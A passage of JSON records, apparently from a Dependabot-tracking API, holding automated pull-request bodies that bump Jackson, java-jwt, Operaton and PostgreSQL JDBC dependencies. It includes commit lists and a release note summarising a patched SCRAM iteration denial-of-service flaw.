href=\"https://redirect.github.com/auth0/java-jwt/issues/765\"\u003e#765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/4ac31787e2bb264d346ddb51b54ce4893d51eb18\"\u003e\u003ccode\u003e4ac3178\u003c/code\u003e\u003c/a\u003e Release 4.5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/d056a79e402d6d6c667a1d5fe9233dd87240da1c\"\u003e\u003ccode\u003ed056a79\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind from 2.21.2 to 2.21.3 in /li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/37f195a954cce32abd4b4eb212e8b7695781c2bb\"\u003e\u003ccode\u003e37f195a\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind in /lib\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/dba4c93e2ef37b82b45776d41f8dcbc24df8335a\"\u003e\u003ccode\u003edba4c93\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/761\"\u003e#761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/84d4c8f383ae7c06e0e53f5bd7d84324ad3bcad9\"\u003e\u003ccode\u003e84d4c8f\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/bump-commons-beanutils\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/5c923d4981ba39c18d530ba3e155c314b6cfd4e1\"\u003e\u003ccode\u003e5c923d4\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/762\"\u003e#762\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/09a4da58242a52bd937c7ac1b2914adc8a80e73c\"\u003e\u003ccode\u003e09a4da5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/add-sca-scan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/ef47e64ba46e5bb39abc68ddbfcd49f61cac4ec7\"\u003e\u003ccode\u003eef47e64\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/3fcfbcb3bed8a66ddb37be63bb3cfea7b873312b\"\u003e\u003ccode\u003e3fcfbcb\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.glassfish.jaxb:jaxb-runtime` from 4.0.7 to 4.0.8\n\nUpdates `org.thymeleaf:thymeleaf` from 3.1.4.RELEASE to 3.1.5.RELEASE\n\nUpdates `org.operaton.bpm:operaton-engine` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.2\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.2\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/datasharingframework/dsf/pull/498","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/datasharingframework%2Fdsf/issues/498","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/498/packages"}},{"old_version":"42.7.3","new_version":"42.7.11","update_type":"patch","path":"/compatibility-tests/sdk-test-java","pr_created_at":"2026-05-10T01:14:07.000Z","version_change":"42.7.3 → 42.7.11","issue":{"uuid":"4414286447","node_id":"PR_kwDOSZFwxs7Z7hgZ","number":1,"state":"open","title":"chore(deps): bump org.postgresql:postgresql from 42.7.3 to 42.7.11 in /compatibility-tests/sdk-test-java","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-10T01:14:07.000Z","updated_at":"2026-05-10T01:14:09.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.3","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/compatibility-tests/sdk-test-java","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.3 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca 